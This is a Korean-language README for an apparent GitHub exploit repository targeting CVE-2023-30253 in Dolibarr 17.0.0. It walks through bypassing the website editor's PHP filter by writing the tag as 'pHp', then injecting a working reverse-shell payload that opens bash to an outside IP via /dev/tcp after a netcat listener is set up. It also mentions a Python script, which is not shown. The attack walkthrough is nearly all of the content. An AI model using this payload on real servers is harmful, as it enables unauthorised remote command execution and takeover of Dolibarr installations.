dollarboysushil/dolibarr-17.0.0-exploit-cve-2023-30253Dolibarr 17.0.0에서 CMS Website plugin (core)이 활성화된 상태에서 인증된 공격자는 애플리케이션 제한을 우회하는 PHP 코드 삽입을 통해 원격 명령 실행을 얻을 수 있습니다.
CVE-2023-30253는 Dolibarr 소프트웨어의 보안 결함으로, 인증된 사용자가 주입된 데이터에서 대문자 변조 기술을 활용하여 원격 코드를 실행할 수 있게 합니다.
이 취약점은 악의적인 공격자에 의한 무단 원격 코드 실행으로 이어질 수 있으며, 영향을 받는 시스템의 보안과 무결성에 심각한 위협을 가합니다. 이 취약점은 Dolibarr 17.0.1에서 수정되었습니다.
https://www.swascan.com/security-advisory-dolibarr-17-0-0/
https://github.com/Dolibarr/dolibarr
다음 PoC는 리버스 셸을 수동으로 획득하는 방법을 보여줍니다.
테스트 사용자로 로그인한 후, 웹사이트를 생성/수정할 수 있습니다.
.png)
먼저 웹사이트를 생성한 다음, 페이지를 생성합니다.
.png)
웹사이트와 페이지를 생성한 후, 쌍안경 아이콘을 클릭하면 생성한 페이지가 새 탭에서 열립니다.
이제 HTML 소스 편집을 클릭합니다.
.png)
여기서 PHP 코드를 추가하려고 시도할 수 있지만, PHP 코드 작성을 막는 일종의 필터가 있습니다. 이는 php 단어의 형식을 변경하여 쉽게 우회할 수 있습니다.
.png)
php 단어의 형식을 pHp로 변경한 후, 성공적으로 저장된 것을 확인할 수 있습니다.
.png)
페이지로 이동하면, 삽입한 PHP 코드가 작동하는 것을 볼 수 있습니다.
이제 리버스 셸을 얻기 위해 netcat 리스너를 설정합니다.
.png)
.png)
그런 다음 리버스 셸 코드 <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.101/1010 0>&1'"); ?>를 추가합니다.
이제 웹사이트를 열면 리버스 셸이 제공됩니다.
.png)
Python 코드를 사용하면 더 쉽게 할 수 있습니다.
netcat 리스너를 설정합니다.
스크립트를 실행하면 리버스 셸을 얻을 수 있습니다.
스크립트 작성자: